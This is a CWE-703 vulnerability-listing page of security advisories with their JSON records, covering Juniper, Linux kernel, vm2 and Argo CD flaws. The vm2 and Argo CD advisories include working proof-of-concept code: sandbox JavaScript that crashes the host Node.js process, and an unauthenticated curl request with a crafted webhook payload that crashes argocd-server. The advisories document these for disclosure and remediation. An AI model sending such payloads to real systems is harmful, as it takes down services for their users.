Common Weakness Enumeration

CWE-703

Discouraged

Improper Check or Handling of Exceptional Conditions

Abstraction: Pillar · Status: Incomplete

The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.

241 vulnerabilities reference this CWE, most recent first.

GHSA-G6M3-8XG2-QJHJ

Vulnerability from github – Published: 2023-07-14 15:30 – Updated: 2024-04-04 06:08
VLAI
Details

An Improper Check or Handling of Exceptional Conditions vulnerability in the UTM (Unified Threat Management) Web-Filtering feature of Juniper Networks Junos OS on SRX Series causes a jbuf memory leak to occur when accessing certain websites, eventually leading to a Denial of Service (DoS) condition. Service restoration is only possible by rebooting the system.

The jbuf memory leak only occurs in SSL Proxy and UTM Web-Filtering configurations. Other products, platforms, and configurations are not affected by this vulnerability.

This issue affects Juniper Networks Junos OS on SRX Series: 22.2 versions prior to 22.2R3; 22.3 versions prior to 22.3R2-S1, 22.3R3; 22.4 versions prior to 22.4R1-S2, 22.4R2.

This issue does not affect Juniper Networks Junos OS versions prior to 22.2R2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-36831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-14T15:15:08Z",
    "severity": "HIGH"
  },
  "details": "An Improper Check or Handling of Exceptional Conditions vulnerability in the UTM (Unified Threat Management) Web-Filtering feature of Juniper Networks Junos OS on SRX Series causes a jbuf memory leak to occur when accessing certain websites, eventually leading to a Denial of Service (DoS) condition.  Service restoration is only possible by rebooting the system.\n\nThe jbuf memory leak only occurs in SSL Proxy and UTM Web-Filtering configurations.  Other products, platforms, and configurations are not affected by this vulnerability.\n\nThis issue affects Juniper Networks Junos OS on SRX Series:\n22.2 versions prior to 22.2R3;\n22.3 versions prior to 22.3R2-S1, 22.3R3;\n22.4 versions prior to 22.4R1-S2, 22.4R2.\n\nThis issue does not affect Juniper Networks Junos OS versions prior to 22.2R2.\n",
  "id": "GHSA-g6m3-8xg2-qjhj",
  "modified": "2024-04-04T06:08:17Z",
  "published": "2023-07-14T15:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36831"
    },
    {
      "type": "WEB",
      "url": "https://supportportal.juniper.net/JSA71636"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GJQ8-XM47-88RC

Vulnerability from github – Published: 2026-10-05 22:45 – Updated: 2026-10-05 22:45
VLAI
Summary
vm2: Host-returned Promise rejection can bypass vm2's unhandled-rejection hardening and terminate the host process
Details

Summary

vm2 current head (v3.11.5, commit 7a1f5100b96f48d34e0fe104ab37c0acc5944f92) can still be used to terminate the host Node.js process when sandbox code calls a host-realm function that returns a rejected host Promise and then ignores the returned value.

This is an incomplete-fix variant of the GHSA-hw58-p9xv-2mjh unhandled rejection hardening. The localPromise constructor now catches and consumes sandbox-created unhandled rejections, but host Promises returned across the bridge are not marked handled at the bridge boundary. If the sandbox does not attach .catch() or .then(..., onRejected), Node's default unhandled rejection behavior terminates the host process.

Technical Details

lib/setup-sandbox.js hardens sandbox-created Promises by wrapping the executor and attaching a benign swallow tail:

apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);

That only applies to localPromise instances created inside the sandbox.

Host-returned Promises cross the membrane through the bridge apply path. The bridge wraps callbacks when sandbox code later calls .then, .catch, or .finally on a host Promise:

bridge.setHostPromiseSanitizers(e => handleException(from(e)), from);

However, if sandbox code ignores the returned host Promise, no host-side rejection handler is attached. The original host Promise remains unhandled and Node terminates the host process under the default unhandled-rejection behavior.

NodeVM provides an in-repository example of this primitive through the special events builtin wrapper. lib/builtin.js passes host EventEmitter.once into the sandbox:

once: EventEmitter.once,

Then lib/events.js re-exports it:

if (host.once) module.exports.once = host.once;

Calling events.once(ee, 'message') and then emitting error on ee returns a rejected host Promise through that wrapper. If ignored by sandbox code, it terminates the host process.

Impact

An attacker who can run code in a vm2 sandbox can terminate the host Node.js process when the embedder exposes a host Promise-returning API, or when a NodeVM permits the events builtin.

For web services, queues, notebook workers, plugin hosts, and multi-tenant code execution systems, a single small request can terminate the worker process. Restart policies do not fully mitigate the issue because the payload can be replayed after each restart.

Affected Package/Versions

Confirmed affected on Node.js v25.8.0:

  • v3.10.0
  • v3.10.1
  • v3.10.2
  • v3.10.3
  • v3.10.4
  • v3.10.5
  • v3.11.0
  • v3.11.1
  • v3.11.2
  • v3.11.3
  • v3.11.4
  • v3.11.5 / current head 7a1f5100b96f48d34e0fe104ab37c0acc5944f92

The final PoV was also reproduced on current head with Node.js v16.20.2, v18.20.8, v20.20.2, v22.22.3, v24.16.0, and v25.9.0 using npx node@<major>. The local workstation default Node.js v25.8.0 also reproduces.

Configuration Required

The general VM PoV requires an embedder-exposed host function that can return a rejected host Promise:

const vm = new VM({
  sandbox: {
    hostReject: () => Promise.reject(new Error('host-boom')),
  },
});

The NodeVM variant requires events in the builtin allowlist:

new NodeVM({ require: { external: false, builtin: ['events'] } });

events.once() is exposed by vm2's special events builtin wrapper. Node's official API documents events.once() as returning a Promise that rejects when the watched emitter emits error while waiting for another event.

Controls

  • If sandbox code attaches .catch(() => {}) to the returned host Promise, the process survives.
  • If sandbox code creates and ignores a sandbox-native rejected Promise, the process survives on current head. This confirms the GHSA-hw58 localPromise hardening is active.
  • If sandbox code attaches .catch(() => {}) to the events.once() Promise, the NodeVM process survives.
  • If NodeVM does not allow the events builtin, the events.once() variant does not run and the process survives.

Disclosure Policy Fit

vm2's security policy asks reporters not to open public issues and to submit This report is intended for that private route and includes the requested reproduction steps, affected versions, environment/configuration details, and impact. The affected range is within the supported 3.x line.

Local Proof of Concept

Run from the oss-zero-day-harness directory:

node submission-bundle/vm2-pov-test-host-promise-return-unhandled-rejection-dos/pov-host-promise-return-unhandled-rejection-dos.js

The crash-safe PoV executes each case in a child process. A vulnerable result has status: 1 for the positive cases and status: 0 for controls.

Minimal VM positive case:

const { VM } = require('vm2');

const vm = new VM({
  sandbox: {
    hostReject: () => Promise.reject(new Error('host-boom')),
  },
});

vm.run('hostReject(); 1');
setTimeout(() => console.log('survived'), 150);

Observed on current head:

Error: host-boom
    at hostReject (...)

The process exits before printing survived.

Minimal NodeVM builtin variant:

const { NodeVM } = require('vm2');

const vm = new NodeVM({
  require: { external: false, builtin: ['events'] },
});

vm.run(`
  const events = require('events');
  const ee = new events.EventEmitter();
  events.once(ee, 'message');
  ee.emit('error', new Error('event-boom'));
  module.exports = 'returned';
`, 'events-pov.js');

setTimeout(() => console.log('survived'), 150);

Observed on current head:

node:internal/process/promises:332
    triggerUncaughtException(err, true /* fromPromise */);
Error: event-boom

The process exits with status 1.

Mitigation

Applications can reduce exposure by installing a process-level unhandledRejection handler that swallows vm2-originated rejections, as the README recommends for related async rejection caveats. That is an application workaround, not a library-level fix: without such a handler, current Node's default --unhandled-rejections=throw behavior raises the rejection as an uncaught exception and exits the process.

Suggested Fix Direction

When a host function call returns a host-realm Promise across the bridge into sandbox code, attach a benign host-side rejection handler to the raw returned Promise before wrapping it for the sandbox. This should mark the original host Promise handled without changing the value returned to sandbox code or hiding the rejection from sandbox code that later attaches its own .catch() / .then(..., onRejected).

Regression tests should cover:

  • VM with hostReject: () => Promise.reject(new Error(...)); calling hostReject() without .catch() must not terminate the process.
  • The same call with a sandbox .catch() must still deliver a sanitized rejection to the sandbox callback.
  • NodeVM with require.builtin: ['events']; calling events.once(ee, 'message') and then emitting error without .catch() must not terminate the process.
  • The same events.once() call with a sandbox .catch() must continue to deliver a sanitized rejection to the sandbox callback.
  • Sandbox-created rejected Promises should continue to be consumed by the existing localPromise hardening.

Why This Is Not Intended Behavior

vm2 already treats this failure mode as security-relevant. GHSA-hw58-p9xv-2mjh was assigned High severity for a sandbox-created unhandled rejection that terminated the host process, and current setup-sandbox.js explicitly states that the local Promise swallow tail exists so the host's unhandledRejection event never fires.

This report shows the same availability boundary failure still exists for host-returned Promises:

  • the sandbox does not need child_process, filesystem, network, nesting, or dangerous builtins;
  • the VM variant needs only a common embedder pattern: exposing an async host helper to untrusted code;
  • the NodeVM variant needs only the documented events builtin allowlist;
  • a single sandbox call terminates the whole host process serving all users.

This is distinct from the documented caveat that timeout cannot stop CPU loops. It is also distinct from the README's current async-function / await using caveat: this report does not require sandbox async syntax, async functions, disposable stacks, or V8 stack-formatting behavior. The issue is specifically that vm2's own bridge returns a host Promise to the sandbox without marking the host Promise handled, while the sandbox-created Promise path does mark rejections handled.

This is also distinct from host-Promise callback sanitizer escapes. In those chains, sandbox code attaches a callback to a host Promise and then receives or returns a mis-sanitized value. Here, no sandbox Promise callback is required at all; the original host Promise is simply left orphaned after crossing the bridge.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.10.0"
            },
            {
              "fixed": "3.11.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92954"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:45:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nvm2 current head (`v3.11.5`, commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`) can still be used to terminate the host Node.js process when sandbox code calls a host-realm function that returns a rejected host Promise and then ignores the returned value.\n\nThis is an incomplete-fix variant of the `GHSA-hw58-p9xv-2mjh` unhandled rejection hardening. The `localPromise` constructor now catches and consumes sandbox-created unhandled rejections, but host Promises returned across the bridge are not marked handled at the bridge boundary. If the sandbox does not attach `.catch()` or `.then(..., onRejected)`, Node\u0027s default unhandled rejection behavior terminates the host process.\n\n## Technical Details\n\n`lib/setup-sandbox.js` hardens sandbox-created Promises by wrapping the executor and attaching a benign swallow tail:\n\n```js\napply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);\n```\n\nThat only applies to `localPromise` instances created inside the sandbox.\n\nHost-returned Promises cross the membrane through the bridge apply path. The bridge wraps callbacks when sandbox code later calls `.then`, `.catch`, or `.finally` on a host Promise:\n\n```js\nbridge.setHostPromiseSanitizers(e =\u003e handleException(from(e)), from);\n```\n\nHowever, if sandbox code ignores the returned host Promise, no host-side rejection handler is attached. The original host Promise remains unhandled and Node terminates the host process under the default unhandled-rejection behavior.\n\n`NodeVM` provides an in-repository example of this primitive through the special `events` builtin wrapper. `lib/builtin.js` passes host `EventEmitter.once` into the sandbox:\n\n```js\nonce: EventEmitter.once,\n```\n\nThen `lib/events.js` re-exports it:\n\n```js\nif (host.once) module.exports.once = host.once;\n```\n\nCalling `events.once(ee, \u0027message\u0027)` and then emitting `error` on `ee` returns a rejected host Promise through that wrapper. If ignored by sandbox code, it terminates the host process.\n\n## Impact\n\nAn attacker who can run code in a vm2 sandbox can terminate the host Node.js process when the embedder exposes a host Promise-returning API, or when a `NodeVM` permits the `events` builtin.\n\nFor web services, queues, notebook workers, plugin hosts, and multi-tenant code execution systems, a single small request can terminate the worker process. Restart policies do not fully mitigate the issue because the payload can be replayed after each restart.\n\n## Affected Package/Versions\n\nConfirmed affected on Node.js `v25.8.0`:\n\n- `v3.10.0`\n- `v3.10.1`\n- `v3.10.2`\n- `v3.10.3`\n- `v3.10.4`\n- `v3.10.5`\n- `v3.11.0`\n- `v3.11.1`\n- `v3.11.2`\n- `v3.11.3`\n- `v3.11.4`\n- `v3.11.5` / current head `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`\n\nThe final PoV was also reproduced on current head with Node.js `v16.20.2`, `v18.20.8`, `v20.20.2`, `v22.22.3`, `v24.16.0`, and `v25.9.0` using `npx node@\u003cmajor\u003e`. The local workstation default Node.js `v25.8.0` also reproduces.\n\n\n## Configuration Required\n\nThe general VM PoV requires an embedder-exposed host function that can return a rejected host Promise:\n\n```js\nconst vm = new VM({\n  sandbox: {\n    hostReject: () =\u003e Promise.reject(new Error(\u0027host-boom\u0027)),\n  },\n});\n```\n\nThe NodeVM variant requires `events` in the builtin allowlist:\n\n```js\nnew NodeVM({ require: { external: false, builtin: [\u0027events\u0027] } });\n```\n\n`events.once()` is exposed by vm2\u0027s special `events` builtin wrapper. Node\u0027s official API documents `events.once()` as returning a Promise that rejects when the watched emitter emits `error` while waiting for another event.\n\n## Controls\n\n- If sandbox code attaches `.catch(() =\u003e {})` to the returned host Promise, the process survives.\n- If sandbox code creates and ignores a sandbox-native rejected Promise, the process survives on current head. This confirms the `GHSA-hw58` localPromise hardening is active.\n- If sandbox code attaches `.catch(() =\u003e {})` to the `events.once()` Promise, the `NodeVM` process survives.\n- If `NodeVM` does not allow the `events` builtin, the `events.once()` variant does not run and the process survives.\n\n## Disclosure Policy Fit\n\nvm2\u0027s security policy asks reporters not to open public issues and to submit This report is intended for that private route and includes the requested reproduction steps, affected versions, environment/configuration details, and impact. The affected range is within the supported `3.x` line.\n\n## Local Proof of Concept\n\nRun from the `oss-zero-day-harness` directory:\n\n```fish\nnode submission-bundle/vm2-pov-test-host-promise-return-unhandled-rejection-dos/pov-host-promise-return-unhandled-rejection-dos.js\n```\n\nThe crash-safe PoV executes each case in a child process. A vulnerable result has `status: 1` for the positive cases and `status: 0` for controls.\n\nMinimal VM positive case:\n\n```js\nconst { VM } = require(\u0027vm2\u0027);\n\nconst vm = new VM({\n  sandbox: {\n    hostReject: () =\u003e Promise.reject(new Error(\u0027host-boom\u0027)),\n  },\n});\n\nvm.run(\u0027hostReject(); 1\u0027);\nsetTimeout(() =\u003e console.log(\u0027survived\u0027), 150);\n```\n\nObserved on current head:\n\n```text\nError: host-boom\n    at hostReject (...)\n```\n\nThe process exits before printing `survived`.\n\nMinimal NodeVM builtin variant:\n\n```js\nconst { NodeVM } = require(\u0027vm2\u0027);\n\nconst vm = new NodeVM({\n  require: { external: false, builtin: [\u0027events\u0027] },\n});\n\nvm.run(`\n  const events = require(\u0027events\u0027);\n  const ee = new events.EventEmitter();\n  events.once(ee, \u0027message\u0027);\n  ee.emit(\u0027error\u0027, new Error(\u0027event-boom\u0027));\n  module.exports = \u0027returned\u0027;\n`, \u0027events-pov.js\u0027);\n\nsetTimeout(() =\u003e console.log(\u0027survived\u0027), 150);\n```\n\nObserved on current head:\n\n```text\nnode:internal/process/promises:332\n    triggerUncaughtException(err, true /* fromPromise */);\nError: event-boom\n```\n\nThe process exits with status `1`.\n\n## Mitigation\n\nApplications can reduce exposure by installing a process-level `unhandledRejection` handler that swallows vm2-originated rejections, as the README recommends for related async rejection caveats. That is an application workaround, not a library-level fix: without such a handler, current Node\u0027s default `--unhandled-rejections=throw` behavior raises the rejection as an uncaught exception and exits the process.\n\n## Suggested Fix Direction\n\nWhen a host function call returns a host-realm Promise across the bridge into sandbox code, attach a benign host-side rejection handler to the raw returned Promise before wrapping it for the sandbox. This should mark the original host Promise handled without changing the value returned to sandbox code or hiding the rejection from sandbox code that later attaches its own `.catch()` / `.then(..., onRejected)`.\n\nRegression tests should cover:\n\n- `VM` with `hostReject: () =\u003e Promise.reject(new Error(...))`; calling `hostReject()` without `.catch()` must not terminate the process.\n- The same call with a sandbox `.catch()` must still deliver a sanitized rejection to the sandbox callback.\n- `NodeVM` with `require.builtin: [\u0027events\u0027]`; calling `events.once(ee, \u0027message\u0027)` and then emitting `error` without `.catch()` must not terminate the process.\n- The same `events.once()` call with a sandbox `.catch()` must continue to deliver a sanitized rejection to the sandbox callback.\n- Sandbox-created rejected Promises should continue to be consumed by the existing localPromise hardening.\n\n## Why This Is Not Intended Behavior\n\nvm2 already treats this failure mode as security-relevant. `GHSA-hw58-p9xv-2mjh` was assigned High severity for a sandbox-created unhandled rejection that terminated the host process, and current `setup-sandbox.js` explicitly states that the local Promise swallow tail exists so the host\u0027s `unhandledRejection` event never fires.\n\nThis report shows the same availability boundary failure still exists for host-returned Promises:\n\n- the sandbox does not need `child_process`, filesystem, network, `nesting`, or dangerous builtins;\n- the `VM` variant needs only a common embedder pattern: exposing an async host helper to untrusted code;\n- the `NodeVM` variant needs only the documented `events` builtin allowlist;\n- a single sandbox call terminates the whole host process serving all users.\n\nThis is distinct from the documented caveat that `timeout` cannot stop CPU loops. It is also distinct from the README\u0027s current async-function / `await using` caveat: this report does not require sandbox `async` syntax, async functions, disposable stacks, or V8 stack-formatting behavior. The issue is specifically that vm2\u0027s own bridge returns a host Promise to the sandbox without marking the host Promise handled, while the sandbox-created Promise path does mark rejections handled.\n\nThis is also distinct from host-Promise callback sanitizer escapes. In those chains, sandbox code attaches a callback to a host Promise and then receives or returns a mis-sanitized value. Here, no sandbox Promise callback is required at all; the original host Promise is simply left orphaned after crossing the bridge.",
  "id": "GHSA-gjq8-xm47-88rc",
  "modified": "2026-10-05T22:45:48Z",
  "published": "2026-10-05T22:45:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-gjq8-xm47-88rc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92954"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/5bb37f8b3f0498675a71cfa4df2b408d8ef7d4fb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.8"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-3.10.0-through-3.11.5-denial-of-service-via-host-promise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "vm2: Host-returned Promise rejection can bypass vm2\u0027s unhandled-rejection hardening and terminate the host process"
}

GHSA-GP64-4CCQ-3VPW

Vulnerability from github – Published: 2023-04-18 00:32 – Updated: 2024-04-04 03:31
VLAI
Details

An Improper Check or Handling of Exceptional Conditions within the storm control feature of Juniper Networks Junos OS allows an attacker sending a high rate of traffic to cause a Denial of Service. Continued receipt and processing of these packets will create a sustained Denial of Service (DoS) condition. Storm control monitors the level of applicable incoming traffic and compares it with the level specified. If the combined level of the applicable traffic exceeds the specified level, the switch drops packets for the controlled traffic types. This issue affects Juniper Networks Junos OS on QFX10002: All versions prior to 19.3R3-S7; 19.4 versions prior to 19.4R3-S11; 20.2 versions prior to 20.2R3-S6; 20.4 versions prior to 20.4R3-S5; 21.1 versions prior to 21.1R3-S4; 21.2 versions prior to 21.2R3-S3; 21.3 versions prior to 21.3R3; 21.4 versions prior to 21.4R2.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-28965"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703",
      "CWE-754"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-17T22:15:08Z",
    "severity": "HIGH"
  },
  "details": "An Improper Check or Handling of Exceptional Conditions within the storm control feature of Juniper Networks Junos OS allows an attacker sending a high rate of traffic to cause a Denial of Service. Continued receipt and processing of these packets will create a sustained Denial of Service (DoS) condition. Storm control monitors the level of applicable incoming traffic and compares it with the level specified. If the combined level of the applicable traffic exceeds the specified level, the switch drops packets for the controlled traffic types. This issue affects Juniper Networks Junos OS on QFX10002: All versions prior to 19.3R3-S7; 19.4 versions prior to 19.4R3-S11; 20.2 versions prior to 20.2R3-S6; 20.4 versions prior to 20.4R3-S5; 21.1 versions prior to 21.1R3-S4; 21.2 versions prior to 21.2R3-S3; 21.3 versions prior to 21.3R3; 21.4 versions prior to 21.4R2.",
  "id": "GHSA-gp64-4ccq-3vpw",
  "modified": "2024-04-04T03:31:23Z",
  "published": "2023-04-18T00:32:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28965"
    },
    {
      "type": "WEB",
      "url": "https://supportportal.juniper.net/JSA70589"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GPJF-F4MX-92PX

Vulnerability from github – Published: 2024-02-12 03:30 – Updated: 2025-11-04 00:30
VLAI
Details

printer_write in drivers/usb/gadget/function/f_printer.c in the Linux kernel through 6.7.4 does not properly call usb_ep_queue, which might allow attackers to cause a denial of service or have unspecified other impact.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-25741"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-12T03:15:32Z",
    "severity": "MODERATE"
  },
  "details": "printer_write in drivers/usb/gadget/function/f_printer.c in the Linux kernel through 6.7.4 does not properly call usb_ep_queue, which might allow attackers to cause a denial of service or have unspecified other impact.",
  "id": "GHSA-gpjf-f4mx-92px",
  "modified": "2025-11-04T00:30:46Z",
  "published": "2024-02-12T03:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25741"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "https://www.spinics.net/lists/linux-usb/msg252167.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GPX4-37G2-C8PV

Vulnerability from github – Published: 2025-09-30 18:32 – Updated: 2025-10-23 20:29
VLAI
Summary
Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook
Details

Summary

In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.

The slice index [0] is accessed without a length check, causing an index-out-of-range panic.

A single unauthenticated HTTP POST is enough to kill the process.

Details

case azuredevops.GitPushEvent:
    // util/webhook/webhook.go -- line ≈147
    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty
    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
    touchedHead     = payload.Resource.RefUpdates[0].Name ==
                      payload.Resource.Repository.DefaultBranch

If the attacker supplies "refUpdates": [], the slice has length 0.

The webhook code has no recover(), so the panic terminates the entire binary.

PoC

payload-azure-empty.json:

{
  "eventType": "git.push",
  "resource": {
    "refUpdates": [],
    "repository": {
      "remoteUrl": "https://example.com/dummy",
      "defaultBranch": "refs/heads/master"
    }
  }
}

curl call:

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-azure-empty.json

Observed crash:

panic: runtime error: index out of range [0] with length 0

goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
    webhook.go:147 +0x1ea5
...

Mitigation

If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.azuredevops.username: <your base64-encoded secret here>
+  webhook.azuredevops.password: <your base64-encoded secret here>

For more information

Credits

Discovered by Jakub Ciolek at AlphaSense.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.14.19"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.9.0-rc1"
            },
            {
              "fixed": "2.14.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0-rc1"
            },
            {
              "fixed": "3.2.0-rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.2.0-rc1"
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0-rc1"
            },
            {
              "fixed": "3.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.18"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/argoproj/argo-cd/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-rc1"
            },
            {
              "fixed": "3.0.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59538"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-30T18:32:31Z",
    "nvd_published_at": "2025-10-01T21:16:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nIn the default configuration, `webhook.azuredevops.username` and `webhook.azuredevops.password` not set, Argo CD\u2019s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.\n\nThe slice index [0] is accessed without a length check, causing an index-out-of-range panic.\n\nA single unauthenticated HTTP POST is enough to kill the process.\n\n### Details\n\n```go\ncase azuredevops.GitPushEvent:\n    // util/webhook/webhook.go -- line \u2248147\n    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty\n    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)\n    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)\n    touchedHead     = payload.Resource.RefUpdates[0].Name ==\n                      payload.Resource.Repository.DefaultBranch\n```\n\nIf the attacker supplies \"refUpdates\": [], the slice has length 0.\n\nThe webhook code has no recover(), so the panic terminates the entire binary.\n\n### PoC\n\npayload-azure-empty.json:\n```json\n{\n  \"eventType\": \"git.push\",\n  \"resource\": {\n    \"refUpdates\": [],\n    \"repository\": {\n      \"remoteUrl\": \"https://example.com/dummy\",\n      \"defaultBranch\": \"refs/heads/master\"\n    }\n  }\n}\n```\n\ncurl call:\n\n```shell\ncurl -k -X POST https://argocd.example.com/api/webhook \\\n     -H \u0027X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111\u0027 \\\n     -H \u0027Content-Type: application/json\u0027 \\\n     --data-binary @payload-azure-empty.json\n```\n\nObserved crash:\n\n```\npanic: runtime error: index out of range [0] with length 0\n\ngoroutine 205 [running]:\ngithub.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo\n    webhook.go:147 +0x1ea5\n...\n```\n\n### Mitigation\n\nIf you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.\n\nIf you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.\n\n```diff\napiVersion: v1\nkind: Secret\nmetadata:\n  name: argocd-secret\ntype: Opaque\ndata:\n+  webhook.azuredevops.username: \u003cyour base64-encoded secret here\u003e\n+  webhook.azuredevops.password: \u003cyour base64-encoded secret here\u003e\n```\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\n\nDiscovered by Jakub Ciolek at AlphaSense.",
  "id": "GHSA-gpx4-37g2-c8pv",
  "modified": "2025-10-23T20:29:02Z",
  "published": "2025-09-30T18:32:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-gpx4-37g2-c8pv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59538"
    },
    {
      "type": "WEB",
      "url": "https://github.com/argoproj/argo-cd/commit/1a023f1ca7fe4ec942b4b6696804988d5a632baf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/argoproj/argo-cd"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3995"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook"
}

GHSA-H5HC-QPQF-P7R8

Vulnerability from github – Published: 2023-04-18 00:32 – Updated: 2024-04-04 03:31
VLAI
Details

